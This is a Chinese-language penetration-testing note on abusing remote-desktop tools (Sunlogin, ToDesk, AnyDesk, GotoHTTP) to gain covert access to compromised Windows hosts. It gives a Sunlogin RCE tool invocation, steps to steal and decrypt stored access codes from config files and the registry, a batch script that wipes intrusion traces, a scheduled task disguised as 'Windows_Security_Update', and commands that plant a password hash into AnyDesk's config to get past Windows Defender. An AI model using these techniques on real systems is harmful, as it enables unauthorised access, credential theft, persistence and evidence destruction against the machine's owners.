远控软件利用

向日葵

https://drunkmars.top/2021/05/19/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8B%E5%90%91%E6%97%A5%E8%91%B5%E5%A6%99%E7%94%A8/

原理

远程控制,==主控端电脑只是将键盘和鼠标的指令传送给远程电脑,同时将被控端电脑的屏幕画面通过通信线路回传过来==。也就是说,控制被控端电脑进行操作似乎是在眼前的电脑上进行的,实质是在远程的电脑中实现的

利用已有向日葵

rce

https://github.com/Mr-xn/sunlogin_rce

./xrkRce -h 192.168.50.45 -t scan
./xrkRce -h 192.168.50.46 -t rce -p 62383 -c "whoami"

-h 指定目标
-t 选择扫描或者命令执行  默认scan
-p 设置扫描端口范围 默认4w到65535
-c 需要执行的命令

读信息

在向日葵高于 12.5.3.* 的已经没有办法获取 secert 了

向日葵默认配置文件路径:

安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini    
便携版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini    
本机验证码参数:encry\_pwd    
本机识别码参数:fastcode(去掉开头字母)    
sunlogincode:判断用户是否登录状态

在 12.5.2 之前的某些版本可以写到了注册表中,所以可以使用注册表来进行查询

reg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginInforeg query HKEY\\\_USERS\\\\.DEFAULT\\\\Software\\\\Oray\\\\SunLogin\\\\SunloginClient\\\\SunloginGreenInfo

低版本的向日葵把密码和机器码加密写入到了配置文件中,我们可以把配置文件 down 到自己的机器上,然后进行重开向日葵即可。这里向日葵版本较低,就不进行测试

找向日葵进程

tasklist | findstr "Sun"

读取向日葵路径

wmic process where processid=xxxx get processid,executablepath,name

向日葵文件夹里找config.ini

向日葵的配置文件最重要的地方有三处,分别为:encry_pwdfastcodefastcodehistory

encry_pwd为本机验证码,为密文,这里可以通过https://github.com/wafinfo/Sunflower_get_Password解密
fastcode为本机识别码,为明文
fastcodehistory为本机识别码历史,为密文,用base64解密即可,如果你的向日葵从来没有连接过别的主机,fastcodehistory就为空

这里有一个重点,如果要更改被攻击机的验证码就必须要被攻击机端的向日葵重启才行

入侵痕迹清理

@echo off
taskkill /f /im SunloginClient.exe
del /s /q C:\Windows\Prefetch\SUNLOGINCLIENT*.pf
del /s /q %userprofile%\AppData\Roaming\Microsoft\Windows\Recent\SunloginClient*.lnk
rmdir /s /q C:\ProgramData\Oray\SunloginClient
rmdir /s /q %userprofile%\AppData\Roaming\Oray\SunloginClient
reg delete "HKCU\Software\Oray\SunLogin\SunloginClient" /f
reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" /v SunloginClient /f
del /s /q SunloginClient.exe

传入向日葵攻击

给机器传入绿色版向日葵,运行向日葵之后读取配置,或是传入有rce漏洞的向日葵,直接运行传入的这个exe就好(试了一下不是直接以绿色版运行的)

image-20240109113003856

todesk

常见渗透方式(偷配置,百试百灵)

这里还是和前面的向日葵一样,可以进行配置文件的窃取,默认安装路径 C:\Program Files\ToDesk\config.ini

image-20240109114024856

这里咱们可以攻击机安装 todesk,然后读取到 config.ini 中的配置文件,然后和攻击机进行替换即可。

这里我虚拟机假装是受害机,读取出来,然后攻击机把 tempauthpassex 进行替换。

image-20240109114047586

本机下载 todesk 进行替换。

image-20240109114128531

两个机器密码相同(进行替换的时候需要修改攻击机密码更新频率)

image-20240109114146141

image-20240109114200861

anydesk

优点: 整个过程都不需要进行 UAC 弹窗,真正实现了无感绕过

缺点:

(1) 会弹出 anydesk 的界面,导致一些问题

(2) 启动 anydesk 的权限需要桌面用户权限,比如,IIS 做了中间件环境,拿到的 webshell 一般都是没有桌面用户权限,如果启动 anydesk 是不会成功的。

anydesk 的配置文件在以下文件中,而通常这个时候我们有权限修改 anydesk 的配置文件。

C:\Users\用户名\AppData\Roaming\AnyDesk

这里进行测试,起两个虚拟机,设定一个场景(攻击机拿到了 webshell,受害机开着 windows defender,如何去渗透拿到受害机权限)

攻击机ip: 10.211.55.3 + 10.211.55.2受害机ip: 10.211.55.4(windows defender全开)

情况1

这里拿到了受害机的 webshell,是个普通权限,无法去关闭

这里可以看到有 windows defender 来运行,这里无法进行关闭 windows defender

image-20240109114318951

这里用 powershell 执行远程命令下载 anydesk 到用户的目录中去,因为虚拟机只有 C 盘,所以创建了一个目录来存放,在真实的渗透过程中,一般是有 RWE 的目录

image-20240109114338999

上传上去之后,先不去打开。转到攻击机进行操作

(1) 这里先去给攻击机下载 anydesk(如果下载过的小伙伴,要先清除之前的配置文件),没有的就不用看这一步,清除结束后如下

image-20240109114352995

(2) 这里打开攻击机的 anydesk,牢记我此处勾选的 id,然后点击右上角的概述 –> 为自主访问设置密码 –> 设置一个密码(这里设置为 Q16G666!!)—> 之后点击应用,攻击机完全退出 anydesk(小托盘也要退出),并且退出时不选择安装 anydesk。

image-20240109114409159

(3) 攻击机完全退出 anydesk(小托盘也要退出),这里还是到配置文件路径下 把文件复制下来。是我图中勾选的这四个。复制完成之后,攻击机将文件进行删除。

image-20240109114425878

复制下来之后,给受害机的当前用户(拿到权限的用户)找到 anydesk 配置文件路径并且复制到其他(如果没有配置文件路径则进行创建),一定要注意这里攻击机复制完之后,一定要将攻击机中的配置文件进行删除。

(4) 重新打开攻击机,生成配置文件,启动受害机的 anydesk。

image-20240109114442495

(5) 用攻击机进行连接,这里连接的 id 就是(2)中截图的 id,密码就是(2)中设置的密码即可成功无感绕过 windows defender

情况2 计划任务

(1) 确定用户创建计划任务

如果命令行不能去执行,则可以去创建计划任务去执行,例如,必须先确定当前用户,在当前用户的目录下执行 anydesk

powershell "(((Get-WmiObject -Class Win32\_Process -Filter 'Name=\\"explorer.exe\\"').GetOwner().user) -split '\')\[0\]schtasks /Create /TN Windows\_Security\_Update /SC monthly /tr "C:\\Users\\testuser.G1TS\\Desktop\\anydesk.exe" /RU 用户名

执行计划任务

schtasks /run /tn Windows\_Security\_Update

后续步骤和上面相同

然后添加密码到配置文件中去即可。

echo ad.anynet.pwd_hash=85352d14ed8d515103f6af88dd68db7573a37ae0f9c9d2952c3a63a8220a501c >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.confecho ad.anynet.pwd_salt=cb65156829a1d5a7281bfe8f6c98734a >> C:\Users\用户目录\AppData\Roaming\AnyDesk\service.conf

然后查看用户的 id

type C:\Users\用户名\AppData\Roaming\AnyDesk\system.conf

连接即可

gotohttp

gotohttp 在我的渗透测试过程中,是一个常见的方式,给我的感觉,即用即连,浏览器连接,方便快捷。但是缺点就是权限划分明确,普通用户权限起的 gotohttp 无法进行管理员权限操作,比如关闭 windows defender 和其他一些行为,不过在规避杀软这儿也有奇效。

复现过程

普通用户上去之后只能用普通用户权限,这里下载对应的 gotohttp 上传上去,命令行运行他,直接在当前目录下生成配置文件,读取配置文件,即可成功连接。

https://gotohttp.com/

image-20240109114732991

image-20240109114744265

因为是普通用户启动的,这里如果尝试关闭 windows defender,是无法进行点击的。

image-20240109114759102

0%